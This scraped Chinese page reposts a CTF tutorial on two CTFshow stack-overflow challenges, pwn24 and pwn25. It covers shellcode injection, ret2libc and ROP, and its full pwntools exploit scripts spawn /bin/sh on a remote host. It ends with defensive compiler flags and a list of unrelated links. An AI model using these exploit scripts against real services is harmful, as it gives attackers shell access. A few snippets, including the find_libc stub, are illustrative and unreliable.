当前位置: 首页 > news >正文

CTFshow PWN实战:从pwn24到pwn25,手把手教你两种栈溢出攻击姿势(含LibcSearcher避坑指南)

CTFshow PWN实战:两种栈溢出攻击姿势与LibcSearcher避坑指南

在CTF竞赛中,PWN题型一直是考察二进制漏洞利用能力的核心项目。本文将带你深入分析CTFshow平台上两道经典的栈溢出题目——pwn24和pwn25,通过对比无NX保护和开启NX保护两种场景下的攻击方法,掌握从基础到进阶的实战技巧。

1. 环境准备与工具链配置

在开始实战前,需要确保具备以下环境:

  • Ubuntu 18.04/20.04:推荐使用原生Linux系统或WSL2
  • Python环境
    # 安装Python3和pip sudo apt update && sudo apt install python3 python3-pip
  • 必备工具
    # 安装pwntools pip3 install pwntools # 安装调试工具 sudo apt install gdb gdb-multiarch

注意:建议使用Python3环境,避免Python2带来的兼容性问题。

2. pwn24:无NX保护的shellcode注入

2.1 题目分析与保护机制检查

首先使用checksec检查二进制文件的安全机制:

checksec ./pwn24

典型输出结果:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000)

关键发现:

  • 32位程序:影响内存地址和寄存器使用
  • NX disabled:允许栈上执行代码,为shellcode注入创造条件
  • No canary:可以直接覆盖返回地址

2.2 漏洞定位与利用思路

通过反汇编找到危险函数:

objdump -d ./pwn24 | grep -A20 ctfshow

发现存在不安全的read调用:

08049196 <ctfshow>: 8049196: 55 push %ebp 8049197: 89 e5 mov %esp,%ebp 8049199: 81 ec 88 00 00 00 sub $0x88,%esp 804919f: 83 ec 04 sub $0x4,%esp 80491a2: 68 00 01 00 00 push $0x100 80491a7: 8d 85 78 ff ff ff lea -0x88(%ebp),%eax 80491ad: 50 push %eax 80491ae: 6a 00 push $0x0 80491b0: e8 9b fe ff ff call 8049050 <read@plt>

利用步骤:

  1. 计算偏移量:0x88(缓冲区) +4(ebp) = 140字节
  2. 构造payload:填充140字节 + shellcode地址
  3. 将shellcode放置在返回地址后或利用环境变量

2.3 完整利用脚本

from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28251) # 生成execve("/bin/sh")的shellcode shellcode = asm(shellcraft.sh()) # 构造payload payload = flat({ 140: p32(0xffffd580), # 栈地址(需通过调试确定) }, filler='\x90') # NOP sled提高命中率 payload += shellcode p.sendline(payload) p.interactive()

调试技巧

gdb -q ./pwn24 (gdb) b *ctfshow+25 (gdb) r < <(python -c "print 'A'*140 + 'BBBB'") (gdb) x/40wx $esp

3. pwn25:NX保护下的ret2libc攻击

3.1 保护机制分析

检查安全措施:

Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键变化:

  • NX enabled:栈不可执行,需转向代码复用攻击
  • Partial RELRO:GOT表可写,为GOT劫持创造条件

3.2 利用思路与难点突破

ret2libc攻击流程:

  1. 泄露libc函数地址(如puts)
  2. 计算libc基地址
  3. 定位system和"/bin/sh"
  4. 构造ROP链

关键问题:如何在没有libc的情况下确定版本?

方案一:使用已知libc(推荐)
from pwn import * p = remote('pwn.challenge.ctf.show', 28116) elf = ELF('./pwn25') libc = ELF('libc6-i386_2.27-3ubuntu1.4_amd64.so') # 已知版本 # 第一次溢出:泄露puts地址 payload = flat( b'A'*(0x88+4), elf.plt['puts'], elf.symbols['main'], elf.got['puts'] ) p.sendline(payload) puts_addr = u32(p.recv(4)) libc.address = puts_addr - libc.symbols['puts'] # 第二次溢出:调用system payload = flat( b'A'*(0x88+4), libc.symbols['system'], b'BBBB', # 返回地址(任意) next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive()
方案二:LibcSearcher替代方案

针对LibcSearcher的常见问题,推荐以下解决方案:

  1. 使用libc-database

    git clone https://github.com/niklasb/libc-database.git cd libc-database ./get ubuntu
  2. 在线查询工具

    • https://libc.blukat.me/
    • https://libc.rip/
  3. 手动匹配特征

    # 通过多个函数地址确定libc版本 def find_libc(puts_addr, printf_addr): # 计算偏移差 offset_diff = printf_addr - puts_addr # 与已知libc版本对比 if offset_diff == 0x10: # 示例值 return puts_addr - 0x067b20 # 对应libc基址

3.3 高级技巧:栈迁移与ROP链构造

当空间受限时,可结合栈迁移技术:

# 寻找可用gadget rop = ROP(elf) rop.raw(b'A'*(0x88+4)) rop.migrate(0xffffd580) # 目标栈地址 rop.puts(elf.got['puts']) rop.main() p.sendline(rop.chain())

4. 实战中的常见问题与解决方案

4.1 地址随机化(ASLR)应对策略

  • 信息泄露:通过输出函数泄露地址
  • 暴力破解:针对部分随机化的场景
  • 地址预测:利用内存布局特征

4.2 Python环境问题终极解决方案

推荐使用virtualenv创建独立环境:

python3 -m venv pwn-env source pwn-env/bin/activate pip install pwntools uncompyle6

4.3 调试技巧汇编

GDB增强配置

wget -P ~ https://git.io/.gdbinit

常用命令组合:

# 查看内存映射 vmmap # 查找字符串 find /bin/sh # ROP gadget搜索 rop --grep "pop eax"

5. 安全防护与漏洞修复建议

5.1 开发者防护措施

  • 启用所有保护机制:

    CFLAGS += -fstack-protector-strong -pie -fPIC -D_FORTIFY_SOURCE=2 LDFLAGS += -Wl,-z,now,-z,relro
  • 安全编码实践:

    // 使用安全函数替代gets/scanf fgets(buf, sizeof(buf), stdin);

5.2 CTF选手防御视角

理解防护机制有助于攻击:

  • Canary绕过:通过信息泄露或暴力破解
  • PIE绕过:利用信息泄露计算基址
  • RELRO完全:转向其他攻击面

在完成这两道题目后,建议尝试修改防护设置,重新编译并测试攻击方法的变化,这将极大提升对二进制漏洞本质的理解。

http://www.jsqmd.com/news/998134/

相关文章:

  • 抖音直播数据抓取神器:2025最新版完整指南
  • 2026年6月全屋门窗生产厂家哪个好,旧房改造/环保门窗/极简门窗/节能门窗/豪宅设计/中式门窗,全屋门窗厂商选哪家 - 品牌推荐师
  • 工业视觉实战:OpenCV检测PCB板定位孔圆心,附完整代码与参数调试心得
  • MuleSoft企业级AI编排:安全可控的大模型集成实践
  • MATLAB版Dubins最短路径生成工具:支持位姿输入、六类构型自动识别与轨迹可视化
  • 镇江京口区金价888元每克 黄金上门回收服务正当时 - 上门黄金回收
  • :浙江经济职业技术学院|分层班型设置与升学成果盘点 —— 浙经院高复班培养体系与办学成效解析 - 弱书讲升学
  • Android毕业设计-面向校园的文化艺术展示移动端应用研发基于springboot+android的校园文化艺术展示app的设计与实现(源码+LW+部署文档+全bao+远程调试+代码讲解等)
  • 2026 武汉中职机电一体化专业招生要求 报考条件与流程 - 善良的阿良
  • 优化 Android Auto 设置:减少干扰,提升驾驶体验!
  • 计算机类书籍检索系统的设计与实现
  • 别再傻傻记代码了!用Python和PIL库5分钟搞定RGB颜色名查询工具
  • 全国全日制国标舞专业中职学校实力排行一览 - 互联网科技品牌测评
  • 卫生间漏水到楼下怎么查找漏水点?2026泉州24小时上门维修电话TOP7机构推荐,免费勘察+精准定位,专业师傅处理屋顶墙体洗手间暗管漏水 - 一修哥咨询
  • 别再死记硬背PID公式了!用无人机悬停的日常例子,带你秒懂Kp、Ki、Kd到底在干啥
  • 滤袋频换、耗材成本居高不下?岱创袋式过滤器寿命翻倍,综合运维直降 40% - 资讯速览
  • SolidWorks许可优化别瞎买,七家实测横评
  • 2026年贵阳全屋舒适系统选购完全指南:地暖、空调、新风、净水、空气能一站式解决方案 - 优质企业观察收录
  • JetBrains IDE试用期重置终极解决方案:ide-eval-resetter完整使用指南
  • Android毛玻璃蒙层实现方案:含高斯模糊处理、多屏适配与可配置参数的完整工程
  • 从SPI Mode0/3时序图到PCB走线:高频SPI稳定性的‘隐形杀手’与避坑指南
  • IEC 62368-1:2023第四版来了!搞音视频和IT设备的工程师,这10个关键变化别错过
  • 2026 武汉中职建筑工程施工 / 工程造价学校推荐 工程管理专业报考指南 - 善良的阿良
  • 2026年贵阳新风系统与空气能热泵怎么选?五恒系统集成方案完全指南 - 优质企业观察收录
  • Vue3项目实战:如何将一个竖向时间轴改造成可横向滚动的‘企业发展史’组件(附完整代码)
  • 深入Apollo客户端:从长轮询到本地缓存,一次搞懂配置实时推送的底层原理
  • 问德佑湿厕纸好用吗?懒人福音:可冲散设计,连垃圾桶都省了 - 资讯报道
  • 武汉口碑最好的专升本培训机构 - 善良的阿良
  • 德佑湿厕纸安全吗?对比普通湿厕纸,这3个硬指标更值得信赖 - 资讯报道
  • 武汉复读机构真的有用吗武汉襄五学校联系电话 - 善良的阿良